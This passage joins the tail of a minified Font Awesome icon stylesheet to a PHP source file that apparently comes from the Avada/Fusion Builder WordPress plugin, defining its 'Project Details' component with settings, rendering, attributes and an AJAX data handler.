ne:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-arrows:before{content:"\e068"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-perbyte:before{content:"\e083"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-square:before{content:"\e01e"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-plane-slash:before{content:"\e069"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pump-medical:before{content:"\e06a"}.fa-pump-soap:before{content:"\e06b"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-rust:before{content:"\e07a"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-shield-virus:before{content:"\e06c"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopify:before{content:"\e057"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sink:before{content:"\e06d"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-soap:before{content:"\e06e"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-stopwatch-20:before{content:"\e06f"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-store-alt-slash:before{content:"\e070"}.fa-store-slash:before{content:"\e071"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-tiktok:before{content:"\e07b"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toilet-paper-slash:before{content:"\e072"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-trailer:before{content:"\e041"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-uncharted:before{content:"\e084"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\e049"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-unsplash:before{content:"\e07c"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-users-slash:before{content:"\e073"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-vest:before{content:"\e085"}.fa-vest-patches:before{content:"\e086"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-virus:before{content:"\e074"}.fa-virus-slash:before{content:"\e075"}.fa-viruses:before{content:"\e076"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-watchman-monitoring:before{content:"\e087"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wodu:before{content:"\e088"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}<?php
/**
 * Add an element to fusion-builder.
 *
 * @package fusion-builder
 * @since 2.2
 */

if ( fusion_is_element_enabled( 'fusion_tb_project_details' ) ) {

	if ( ! class_exists( 'FusionTB_Project_Details' ) ) {
		/**
		 * Shortcode class.
		 *
		 * @since 2.2
		 */
		class FusionTB_Project_Details extends Fusion_Component {

			/**
			 * The internal container counter.
			 *
			 * @access private
			 * @since 2.2
			 * @var int
			 */
			private $counter = 1;

			/**
			 * The post type.
			 *
			 * @var string
			 */
			public $post_type;

			/**
			 * Constructor.
			 *
			 * @access public
			 * @since 2.2
			 */
			public function __construct() {
				parent::__construct( 'fusion_tb_project_details' );
				add_filter( 'fusion_attr_fusion_tb_project_details-shortcode', [ $this, 'attr' ] );

				// Ajax mechanism for query related part.
				add_action( 'wp_ajax_get_fusion_project_details', [ $this, 'ajax_query' ] );
			}

			/**
			 * Check if component should render
			 *
			 * @access public
			 * @since 2.2
			 * @return boolean
			 */
			public function should_render() {
				return 'avada_portfolio' === get_post_type();
			}

			/**
			 * Gets the default values.
			 *
			 * @static
			 * @access public
			 * @since 2.2
			 * @return array
			 */
			public static function get_element_defaults() {
				$fusion_settings = awb_get_fusion_settings();
				return [
					'heading_enable'      => 'yes',
					'heading_size'        => '3',
					'author'              => 'yes',
					'margin_bottom'       => '',
					'margin_left'         => '',
					'margin_right'        => '',
					'margin_top'          => '',
					'hide_on_mobile'      => fusion_builder_default_visibility( 'string' ),
					'class'               => '',
					'id'                  => '',
					'animation_type'      => '',
					'animation_direction' => 'down',
					'animation_speed'     => '0.1',
					'animation_delay'     => '',
					'animation_offset'    => $fusion_settings->get( 'animation_offset' ),
					'animation_color'     => '',
				];
			}

			/**
			 * Used to set any other variables for use on front-end editor template.
			 *
			 * @static
			 * @access public
			 * @since 2.2
			 * @return array
			 */
			public static function get_element_extras() {
				$fusion_settings = awb_get_fusion_settings();
				return [
					'title_margin'       => $fusion_settings->get( 'title_margin' ),
					'title_border_color' => $fusion_settings->get( 'title_border_color' ),
					'title_style_type'   => $fusion_settings->get( 'title_style_type' ),
				];
			}

			/**
			 * Maps settings to extra variables.
			 *
			 * @static
			 * @access public
			 * @since 2.2
			 * @return array
			 */
			public static function settings_to_extras() {

				return [
					'title_margin'       => 'title_margin',
					'title_border_color' => 'title_border_color',
					'title_style_type'   => 'title_style_type',
				];
			}

			/**
			 * Render the shortcode
			 *
			 * @access public
			 * @since 2.2
			 * @param  array  $args    Shortcode parameters.
			 * @param  string $content Content between shortcode.
			 * @return string          HTML output.
			 */
			public function render( $args, $content = '' ) {
				global $post;
				$this->args = FusionBuilder::set_shortcode_defaults( self::get_element_defaults(), $args, 'fusion_tb_project_details' );

				$this->emulate_post();

				$this->post_type = get_post_type( $this->get_target_post() );

				$content = '<div ' . FusionBuilder::attributes( 'fusion_tb_project_details-shortcode' ) . '>';

				ob_start();
				require FUSION_CORE_PATH . '/shortcodes/components/templates/fusion-tb-project-details.php';
				$content .= ob_get_clean();

				$content .= '</div>';

				$this->restore_post();
				$this->counter++;

				return apply_filters( 'fusion_component_' . $this->shortcode_handle . '_content', $content );
			}

			/**
			 * Builds the attributes array.
			 *
			 * @access public
			 * @since 2.2
			 * @return array
			 */
			public function attr() {
				$attr = [
					'class' => 'fusion-project-details-tb fusion-project-details-tb-' . $this->counter,
					'style' => '',
				];

				$attr = fusion_builder_visibility_atts( $this->args['hide_on_mobile'], $attr );

				if ( $this->args['animation_type'] ) {
					$animations = FusionBuilder::animations(
						[
							'type'      => $this->args['animation_type'],
							'direction' => $this->args['animation_direction'],
							'speed'     => $this->args['animation_speed'],
							'offset'    => $this->args['animation_offset'],
							'delay'     => $this->args['animation_delay'],
						]
					);

					$attr = array_merge( $attr, $animations );

					$attr['class'] .= ' ' . $attr['animation_class'];
					unset( $attr['animation_class'] );

					if ( isset( $this->args['animation_color'] ) && $this->args['animation_color'] ) {
						$attr['style'] .= '--awb-animation-color:' . $this->args['animation_color'] . ';';
					}
				}

				if ( $this->args['margin_top'] ) {
					$attr['style'] .= 'margin-top:' . $this->args['margin_top'] . ';';
				}

				if ( $this->args['margin_right'] ) {
					$attr['style'] .= 'margin-right:' . $this->args['margin_right'] . ';';
				}

				if ( $this->args['margin_bottom'] ) {
					$attr['style'] .= 'margin-bottom:' . $this->args['margin_bottom'] . ';';
				}

				if ( $this->args['margin_left'] ) {
					$attr['style'] .= 'margin-left:' . $this->args['margin_left'] . ';';
				}

				if ( $this->args['class'] ) {
					$attr['class'] .= ' ' . $this->args['class'];
				}

				if ( $this->args['id'] ) {
					$attr['id'] = $this->args['id'];
				}

				return $attr;
			}

			/**
			 * Gets the query data.
			 *
			 * @access public
			 * @since 2.2
			 * @return void
			 */
			public function ajax_query() {
				global $post, $authordata;
				check_ajax_referer( 'fusion_load_nonce', 'fusion_load_nonce' );

				if ( isset( $_POST['model'] ) && isset( $_POST['model']['params'] ) && ! apply_filters( 'fusion_builder_live_request', false ) ) { // phpcs:ignore WordPress.Security.NonceVerification
					$defaults = $_POST['model']['params']; // phpcs:ignore WordPress.Security
					fusion_set_live_data();
					add_filter( 'fusion_builder_live_request', '__return_true' );

					$this->emulate_post();

					if ( ! $post ) {
						$post = Fusion_Dummy_Post::get_dummy_post(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride
					}

					$this->post_type = get_post_type( $this->get_target_post() );

					$this->restore_post();

					if ( ! is_object( $authordata ) ) {
						$authordata = get_userdata( $post->post_author ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride
					}

					// Build live query response.
					$terms_skills   = get_the_term_list( $post->ID, 'portfolio_skills', '', '<br />', '' );
					$terms_category = get_the_term_list( $post->ID, 'portfolio_category', '', '<br />', '' );
					$terms_tags     = get_the_term_list( $post->ID, 'portfolio_tags', '', '<br />', '' );

					$return_data = [
						'terms_skills'     => $terms_skills,
						'terms_category'   => $terms_category,
						'terms_tags'       => $terms_tags,
						'project_url'      => fusion_data()->post_meta( $post->ID )->get( 'project_url' ),
						'project_url_text' => fusion_data()->post_meta( $post->ID )->get( 'project_url_text' ),
						'copy_url'         => fusion_data()->post_meta( $post->ID )->get( 'copy_url' ),
						'copy_url_text'    => fusion_data()->post_meta( $post->ID )->get( 'copy_url_text' ),
						'author'           => get_the_author_posts_link(),
					];

					wp_reset_postdata();

					echo wp_json_encode( $return_data );
					wp_die();
				}
			}
		}
	}

	new FusionTB_Project_Details();
}

/**
 * Map shortcode to Avada Builder
 *
 * @since 2.2
 */
function fusion_component_project_details() {

	fusion_builder_map(
		fusion_builder_frontend_data(
			'FusionTB_Project_Details',
			[
				'name'                    => esc_attr__( 'Project Details', 'fusion-core' ),
				'shortcode'               => 'fusion_tb_project_details',
				'icon'                    => 'fusiona-project-details',
				'class'                   => 'hidden',
				'component'               => true,
				'templates'               => [ 'content' ],
				'components_per_template' => 1,
				'callback'                => [
					'function' => 'fusion_ajax',
					'action'   => 'get_fusion_project_details',
					'ajax'     => true,
				],
				'params'                  => [
					[
						'type'        => 'checkbox_button_set',
						'heading'     => esc_attr__( 'Element Visibility', 'fusion-core' ),
						'param_name'  => 'hide_on_mobile',
						'value'       => fusion_builder_visibility_options( 'full' ),
						'default'     => fusion_builder_default_visibility( 'array' ),
						'description' => esc_attr__( 'Choose to show or hide the element on small, medium or large screens. You can choose more than one at a time.', 'fusion-core' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS Class', 'fusion-core' ),
						'description' => esc_attr__( 'Add a class to the wrapping HTML element.', 'fusion-core' ),
						'param_name'  => 'class',
						'value'       => '',
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS ID', 'fusion-core' ),
